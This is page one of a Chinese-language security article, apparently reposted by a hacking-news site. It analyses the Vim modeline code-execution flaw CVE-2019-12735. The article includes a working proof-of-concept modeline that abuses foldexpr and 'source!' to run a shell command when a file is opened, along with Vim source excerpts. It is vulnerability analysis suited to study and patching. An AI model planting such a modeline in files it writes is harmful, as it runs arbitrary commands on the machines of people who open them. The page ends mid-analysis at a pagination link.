歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

Vim任意代碼執行漏洞(CVE-2019-12735)

來源:本站整理 作者:佚名 時間:2019-06-17 TAG: 我要投稿

近日,著名編輯器Vim/NeoVim爆出了任意代碼執行漏洞,打開惡意文件即可觸發,受影響的版本:
Vim
 
漏洞成因
漏洞產生于Vim的modeline功能中,使用modeline功能時,通常把一段配置代碼放在文件的開頭或結尾處,用于對此文件進行編輯器功能的配置,此配置會覆蓋Vim的默認配置(通常在~/.vimrc中)。
modeline功能便于文件在共享時保持一致的編輯格式。例如,我們通常會在Python文件開頭加上modeline來設置縮進:
# vim: ai ts=4 sts=4 et sw=4 ft=python
# vim: autoindent tabstop=4 shiftwidth=4 expandtab softtabstop=4 filetype=python
由于modeline中的命令運行于命令模式(在正常模式下按:進入),而在命令模式下可以進行修改文件、執行腳本等敏感操作,這就產生了被惡意攻擊的可能。
因此從安全角度考慮,在modeline中,只支持set命令,同時一些配置項會被隔離到沙箱(sandbox)中運行。
在沙箱中,修改文件、修改快捷鍵、執行shell腳本等操作都被禁止。
沙箱檢查由函數check_secure實現,用HAVE_SANDBOX判斷是否在沙箱中,是的話生成錯誤信息并返回TRUE。
// vim/src/ex_cmds.c
/*
 * Check if the secure flag is set (.exrc or .vimrc in current directory).
 * If so, give an error message and return TRUE.
 * Otherwise, return FALSE.
 */
    int
check_secure(void)
{
    if (secure)
    {
    secure = 2;
    emsg(_(e_curdir));
    return TRUE;
    }
#ifdef HAVE_SANDBOX
    /*
     * In the sandbox more things are not allowed, including the things
     * disallowed in secure mode.
     */
    if (sandbox != 0)
    {
    emsg(_(e_sandbox));
    return TRUE;
    }
#endif
    return FALSE;
}
check_secure函數在一些涉及敏感操作的地方被用到,例如在buf_write函數中的使用,禁止了在沙箱模式下寫buf文件。
// vim/src/fileio.c
    int
buf_write(...)
{
    // ...
    /*
     * Disallow writing from .exrc and .vimrc in current directory for
     * security reasons.
     */
    if (check_secure())
      return FAIL;
    // ...
 }
然而在:source!命令中,并沒有進行沙箱檢查。:source!命令用于在命令模式下逐個運行目標文件中的命令,通常被用來加載配置文件。同時,在命令模式下有多種方式執行shell腳本。
前文提到,可以在modeline中設置的配置項是有限的,因此需要一個能讓我們執行:source!的配置項。
配置項的限制是通過P_SECURE這個flag來判斷的,foldexpr沒有設置P_SECURE,符合要求。
// vim/src/option.c
// foldexpr 未設置P_SECURE
static struct vimoption options[] =
{
   // ...
    {"foldexpr",    "fde",  P_STRING|P_ALLOCED|P_VIM|P_VI_DEF|P_RWIN|P_MLE,
#if defined(FEAT_FOLDING) && defined(FEAT_EVAL)
                (char_u *)VAR_WIN, PV_FDE,
                {(char_u *)"0", (char_u *)NULL}
#else
                (char_u *)NULL, PV_NONE,
                {(char_u *)NULL, (char_u *)0L}
#endif
                SCTX_INIT}
// ...         
};
// ...
// 通過option的flag判斷
if (flags & (P_SECURE | P_NO_ML))
{
    errmsg = _("E520: Not allowed in a modeline");
    goto skip;
}
因此,可以構造PoC如下:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
保存成文件poc.txt,用Vim打開,命令uname -a將會被執行。
 
PoC分析
命令執行
# poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
打開poc.txt時,Vim會在首行尋找modeline,從vi:處開始匹配,忽略前面的字符,解析出的modeline表達式為:
vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt=
modeline中的配置項(option settings)通過:分隔,vi后面的每一項都會當做:set的參數在normal模式下被運行。
這里的一系列配置都是有關于代碼折疊的,讓我們逐個解析配置項:
fen: 當值為off時,所有的代碼折疊都被打開,默認是off
fdm=expr: 產生折疊的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示將由’foldexpr’的值來給出某一行的折疊level
fde=assert_fails("source! %"): fde是foldexpr的縮寫,功能見上一條;source!命令前文已經提過,這里的%是指當前文件;assert_fails用于執行命令并處理錯誤信息,這里我們只用于執行命令。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视